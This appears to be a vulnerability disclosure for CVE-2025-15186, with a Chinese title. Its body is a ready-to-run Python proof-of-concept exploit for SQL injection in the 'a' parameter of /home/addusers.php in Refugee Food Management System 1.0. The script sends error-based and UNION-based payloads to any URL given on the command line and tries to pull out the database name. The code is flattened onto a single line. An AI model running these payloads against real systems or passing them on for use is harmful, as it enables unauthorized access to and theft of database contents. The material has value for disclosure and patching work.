CVE-2025-15186: Refugee Food Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15186 PoC - SQL Injection in Refugee Food Management System 1.0 # Target: /home/addusers.php parameter 'a' def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-15186 Target: Refugee Food Management System 1.0 Vulnerable Parameter: a """ # Test basic SQL injection - error-based payload = "a' AND (SELECT 1 FROM (SELECT 2 UNION SELECT 3)x WHERE 1=1)-- -" target = f"{target_url}/home/addusers.php" params = {'a': payload} print(f"[*] Target: {target}") print(f"[*] Testing payload: {payload}") try: response = requests.get(target, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error indicators sql_errors = ['mysql', 'syntax error', 'sql', 'warning', 'notice'] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] SQL Error detected: {error}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Payload to extract database name payload = "a' UNION SELECT database(),2,3,4,5,6,7,8,9-- -" target = f"{target_url}/home/addusers.php" print(f"[*] Extracting database information...") try: response = requests.get(target, params={'a': payload}, timeout=10) if response.status_code == 200: print(f"[+] Database info extraction request sent") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-15186 SQL Injection PoC") print(f"[*] Target: {target_url}") print("-" * 50) # Test vulnerability if exploit_sql_injection(target_url): print("[!] Vulnerability confirmed!") extract_database_info(target_url) else: print("[*] Vulnerability test completed")